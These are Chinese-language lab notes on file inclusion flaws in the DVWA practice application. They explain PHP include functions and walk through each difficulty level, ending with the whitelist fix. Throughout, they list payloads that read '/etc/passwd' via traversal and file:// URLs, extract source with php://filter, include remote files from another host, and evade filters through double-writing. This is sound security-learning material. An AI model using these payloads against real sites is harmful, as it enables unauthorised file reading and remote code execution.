DVWA-檔案包含學習筆記
一、檔案包含與漏洞
檔案包含:
開發人員將相同的函式寫入單獨的檔案中,需要使用某個函式時直接呼叫此檔案,無需再次編寫,這種檔案呼叫的過程稱檔案包含。
檔案包含漏洞:
開發人員為了使程式碼更靈活,會將被包含的檔案設定為變數,用來進行動態呼叫,從而導致客戶端可以惡意呼叫一個惡意檔案,造成檔案包含漏洞。
二、檔案包含漏洞用到的函式
require:找不到被包含的檔案,報錯,並且停止執行指令碼。
include:找不到被包含的檔案,只會報錯,但會繼續執行指令碼。
require_once:與require類似,區別在於當重複呼叫同一檔案時,程式只呼叫一次。
include_once:與include類似,區別在於當重複呼叫同一檔案時,程式只呼叫一次。
三、目錄遍歷與檔案包含的區別
目錄遍歷是可以讀取web目錄以外的其他目錄,根源在於對路徑訪問許可權設定不嚴格,針對本系統。
檔案包含是利用函式來包含web目錄以外的檔案,分為本地包含和遠端包含。
四、檔案包含特徵
?page=a.php
?home=b.html
?file=content
檢測方法
?file=../../../../etc/passwd
?page=file:///etc/passwd
?home=main.cgi
?page=http://www.a.com/1.php
http://1.1.1.1/../../../../dir/file.txt
五、DVWA練習
1.修改php.ini配置檔案開啟檔案包含功能
allow_url_include = on
將DVWA的級別設定為low
1.分析原始碼,可以看到沒有對page引數做任何過濾
本地檔案包含
2.嘗試利用檔案包含
2.1絕對路徑
檔案包含時,不管包含的檔案是什麼型別,都會優先嚐試當作php檔案執行,如果檔案內容有php程式碼,則會執行php程式碼並返回程式碼執行的結果,如果檔案內容沒有php程式碼,則把檔案內容列印出來
檔案內容沒有php程式碼,把檔案內容列印(顯示)到瀏覽器頁面
2.2相對路徑
3.使用php封裝協議讀取和寫入php檔案
3.1讀取檔案
php://filter/read=convert.base64-encode/resource=..././..././..././..././1.txt 訪問,可以看到顯示了base64編碼的內容
使用burpsuit的decode模組解碼
3.2寫入php檔案,下圖可以看到輸入的內容並返回結果
遠端檔案包含
1.通過http協議包含本地伺服器上的檔案
2.通過http協議包含遠端伺服器上的檔案
將DVWA的級別設定為medium
1.分析原始碼,可以看到使用str_replace函式對http://、https://、../ 、..\進行了過濾,但可以通過雙寫來繞過,或者使用絕對路徑來繞過
2.嘗試繞過
先使用http://192.168.10.130/1.txt 抓包分析,可以看到對http://做了過濾
使用雙寫繞過http://的過濾 htthttp://p://192.168.10.144/1.txt
使用..././..././..././..././..././..././..././ 繞過../的過濾
使用絕對路徑繞過
使用file協議繞過
將DVWA的級別設定為High
1.分析原始碼可以看到,如果$file變數中不含有file並且$file不等於include.php,此時伺服器才不會去包含檔案,兩個條件只要不滿足其中任意一個,就能達到檔案包含的目的,可以是同file協議來繞過
2.使用file協議繞過
將DVWA的級別設定為Impossible
1.分析原始碼可以看到,使用白名單,page只能為include.php”、“file1.php”、“file2.php”、“file3.php”之一,只允許包含include.php、file1.php、file2.php、file3.php,不能包含別的檔案,徹底杜絕檔案包含漏洞